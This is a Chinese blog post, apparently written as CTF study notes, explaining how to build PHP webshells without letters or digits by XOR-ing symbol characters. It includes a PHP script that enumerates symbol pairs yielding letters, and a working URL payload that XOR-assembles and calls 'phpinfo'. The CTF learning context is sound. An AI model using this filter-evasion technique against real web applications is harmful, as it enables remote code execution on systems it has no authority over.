前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >无字母数字webshell

无字母数字webshell

作者头像
用户2700375
发布2022-06-09 14:31:21
发布2022-06-09 14:31:21
1.1K00
代码可运行
举报
文章被收录于专栏:很菜的web狗很菜的web狗
运行总次数:0
代码可运行

最近ctf经常遇到类似姿势的题目,最开始还是比较蒙的 今天来进行一个总结

文章参考p牛的博客

一些不包含数字和字母的webshell

无字母数字 如何构造一句话木马。

这里用到三种方法

异或构造

这种方法用到特殊符号的异或最终得到数字或者字母

如上图

代码语言:javascript
代码运行次数:0
运行
复制
echo "~"^"$"
echo "^"^"<"

即可构造出字母 转换过程为

将两个要比较的字符转换成ascii之后。进行异或运算后得到了字母

~ascii值为126 126的二进制为1111110

$ascii值为36 36的二进制为 0100100

两个二进制的值进行异或运算得到 1011010转换成ascii为90 也就是对应大写字母Z

那么我们如果构造处一句话 不可能一个一个去试对吧 这里贴上一个 异或得到字母的PHP脚本

代码语言:javascript
代码运行次数:0
运行
复制
<?php
    $test = '~!@#$%^&*()_+\|/?.,-={}[]';
    for($i=0;$i<strlen($test);$i++){
        for($j=0;$j<strlen($test);$j++){
            if(ord($test[$i]^$test[$j])>64 && ord($test[$i]^$test[$j])<91){
                echo $test[$i].'^'.$test[$j].'结果为:';
                echo $test[$i]^$test[$j];
                echo '<br>';
            }else if(ord($test[$i]^$test[$j])>97 && ord($test[$i]^$test[$j])<122){
                echo $test[$i].'^'.$test[$j].'结果为:';
                echo $test[$i]^$test[$j];
                echo '<br>';
            }
        }
    } 
?>

CTF

一道简单的题目 首先我们构造异或后为phpinfo的 payload

代码语言:javascript
代码运行次数:0
运行
复制
-^]		p
(^@		h
-^]		p
)^@		i
.^@		n
=^{		f
@^/		o

传入的知识phpinfo字符串 最终还需传入括号

最终payload为

代码语言:javascript
代码运行次数:0
运行
复制
http://127.0.0.1/webshell/ctf.php?code=$_='-(-).=@'^']@]@@[/';$_();
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2019-12-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 异或构造
  • CTF
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档